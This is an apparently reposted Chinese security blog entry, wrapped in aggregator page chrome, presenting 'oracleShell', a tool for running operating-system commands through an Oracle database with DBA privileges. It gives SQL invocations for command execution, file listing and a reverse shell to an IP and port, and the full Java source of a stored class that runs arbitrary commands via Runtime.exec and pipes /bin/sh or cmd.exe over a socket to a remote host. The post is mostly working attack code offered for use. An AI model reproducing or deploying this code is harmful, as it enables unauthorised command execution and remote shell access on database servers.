惯性聚合 高效追踪和阅读你感兴趣的博客、新闻、科技资讯
阅读原文 在惯性聚合中打开

推荐订阅源

L
LINUX DO - 最新话题
A
Arctic Wolf
I
Intezer
V
Vulnerabilities – Threatpost
C
Cisco Blogs
MyScale Blog
MyScale Blog
NISL@THU
NISL@THU
Y
Y Combinator Blog
C
CERT Recently Published Vulnerability Notes
P
Privacy International News Feed
H
Hackread – Cybersecurity News, Data Breaches, AI and More
酷 壳 – CoolShell
酷 壳 – CoolShell
Recorded Future
Recorded Future
云风的 BLOG
云风的 BLOG
S
SegmentFault 最新的问题
Microsoft Security Blog
Microsoft Security Blog
L
LangChain Blog
博客园 - 聂微东
博客园 - 叶小钗
F
Fortinet All Blogs
钛媒体:引领未来商业与生活新知
钛媒体:引领未来商业与生活新知
Recent Announcements
Recent Announcements
C
Cyber Attacks, Cyber Crime and Cyber Security
Latest news
Latest news
Simon Willison's Weblog
Simon Willison's Weblog
P
Palo Alto Networks Blog
S
Schneier on Security
C
Cybersecurity and Infrastructure Security Agency CISA
V
V2EX
freeCodeCamp Programming Tutorials: Python, JavaScript, Git & More
The Hacker News
The Hacker News
博客园 - 司徒正美
Threat Intelligence Blog | Flashpoint
Threat Intelligence Blog | Flashpoint
L
LINUX DO - 热门话题
罗磊的独立博客
K
Kaspersky official blog
Last Week in AI
Last Week in AI
Know Your Adversary
Know Your Adversary
小众软件
小众软件
Stack Overflow Blog
Stack Overflow Blog
T
Threat Research - Cisco Blogs
D
DataBreaches.Net
Scott Helme
Scott Helme
P
Proofpoint News Feed
P
Privacy & Cybersecurity Law Blog
P
Proofpoint News Feed
博客园 - 三生石上(FineUI控件)
Hugging Face - Blog
Hugging Face - Blog
OSCHINA 社区最新新闻
OSCHINA 社区最新新闻
F
Full Disclosure

博客园 - websec80

HexStrike AI:渗透测试助手部署与配置全指南 一个powershell的内网端口扫描工具 Burp抓包被WAF拦截?这个插件一键修改JA3指纹! 安装claude code phpmyadmin爆破go语言 ollama渗透模型安装ctf-player_elona 文件下载传输hfs Bettercap(中间人攻击神器) Save Multiple URLs快速保存当前所有打开的网页 URL 后渗透方面密码收集(浏览器、anydesk、数据库工具) 隐藏 Linux 进程新姿势mount frp telegram数据解密与账号劫持的研究 2024年度TOP100弱口令密码(附社会工程学字典生成器) 【APP攻防】小黄鸟(HttpCanary)免root手机抓包 ProxyPin开源免费抓包工具,支持Windows、Mac、Android、IOS、Linux 全平台系统 linux权限维持-服务管理 ettercap安装内网嗅探抓包 低权 Linux 键盘记录方案 HSTS 检查 后台爆破工具 - blasting 一款自动化提权工具 Linux清除记录的常见方式
oracleShell oracle 数据库命令执行
websec80 · 2024-05-09 · via 博客园 - websec80

https://github.com/jas502n/oracleShell

oracleShell oracle 数据库命令执行


测试环境-DBA权限:

SELECT * FROM v$version

Oracle Database 11g Enterprise Edition Release 11.2.0.1.0 - Production
PL/SQL Release 11.2.0.1.0 - Production
"CORE 11.2.0.1.0 Production"
TNS for 32-bit Windows: Version 11.2.0.1.0 - Production
NLSRTL Version 11.2.0.1.0 - Production

Function 功能

命令执行
select run('exec','whoami','UTF-8') from dual;
文件管理
select run('list','/usr','UTF-8') from dual;
获取当前路径
select run('getCurrentDir','','UTF-8') from dual;
反弹shell
select run('connectBack','172.17.0.3^8989','UTF-8') from dual;

Shell.java

import java.io.BufferedReader;
import java.io.BufferedWriter;
import java.io.File;
import java.io.IOException;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.io.OutputStream;
import java.io.OutputStreamWriter;
import java.net.Socket;
import java.util.Date;

public class Shell extends Object {
public static String run(String methodName, String params, String encoding) {
String result = "";
if (methodName.equalsIgnoreCase("exec")) {
result = Shell.exec(params, encoding);
} else if (methodName.equalsIgnoreCase("list")) {
result = Shell.list(params, encoding);
} else if (methodName.equalsIgnoreCase("getCurrentDir")) {
result = Shell.getCurrentDir();
} else if (methodName.equalsIgnoreCase("connectBack")) {
String ip = params.substring(0, params.indexOf("^"));
String port = params.substring(params.indexOf("^") + 1);
result = Shell.connectBack(ip, Integer.parseInt(port));
} else {
result = "unkown methodName";
}
return result;
}

public static String exec(String cmd, String encoding) {
String result = "";
if (encoding == null || encoding.equals("")) {
encoding = "utf-8";
}
Process p;
try {
p = Runtime.getRuntime().exec(cmd);
try {
p.waitFor();
} catch (InterruptedException e) {
result += e.getMessage();
e.printStackTrace();
}
InputStream fis;
if (p.exitValue() == 0) fis = p.getInputStream();
else fis = p.getErrorStream();
InputStreamReader isr = new InputStreamReader(fis);
BufferedReader br = new BufferedReader(isr);
String line = null;
while ((line = br.readLine()) != null) {
result += line + "\n";
}
} catch (IOException e) {
result += e.getMessage();
}
return result;
}

public static String list(String path, String encoding) {
String result = "";
if (encoding == null || encoding.equals("")) {
encoding = "utf-8";
}
File file = new File(path);
File[] items = file.listFiles();
for (int i = 0; i < items.length; i++) {
File item = items[i];
String type = item.isDirectory() ? "<DIR>" : " ";
String size = item.isDirectory() ? " " : item.length() / 1024 + "KB";
if (size.equals("0KB")) size = item.length() + "Byte";
String date = new Date(item.lastModified()).toLocaleString();
result += date + " " + type + " " + size + " " + item.getName() + "\n";
}
return result;
}

public static String getCurrentDir() {
String result = "";
File directory = new File("");
try {
result = directory.getAbsolutePath();
} catch (Exception e) {
}
return result;
}

public static String connectBack(String ip, int port) {
class StreamConnector extends Thread {
InputStream sp;
OutputStream gh;

StreamConnector(InputStream sp, OutputStream gh) {
this.sp = sp;
this.gh = gh;
}

public void run() {
BufferedReader xp = null;
BufferedWriter ydg = null;
try {
xp = new BufferedReader(new InputStreamReader(this.sp));
ydg = new BufferedWriter(new OutputStreamWriter(this.gh));
char buffer[] = new char[8192];
int length;
while ((length = xp.read(buffer, 0, buffer.length)) > 0) {
ydg.write(buffer, 0, length);
ydg.flush();
}
} catch (Exception e) {
}
try {
if (xp != null) xp.close();
if (ydg != null) ydg.close();
} catch (Exception e) {
}
}
}
try {
String ShellPath;
if (System.getProperty("os.name").toLowerCase().indexOf("windows") == -1) {
ShellPath = new String("/bin/sh");
} else {
ShellPath = new String("cmd.exe");
}
Socket socket = new Socket(ip, port);
Process process = Runtime.getRuntime().exec(ShellPath);
(new StreamConnector(process.getInputStream(), socket.getOutputStream())).start();
(new StreamConnector(socket.getInputStream(), process.getOutputStream())).start();
} catch (Exception e) {
}
return "^OK^";
}
}

参考链接:
rebeyond-oracleShell.jar

posted on 2024-05-09 14:35  websec80  阅读(382)  评论()    收藏  举报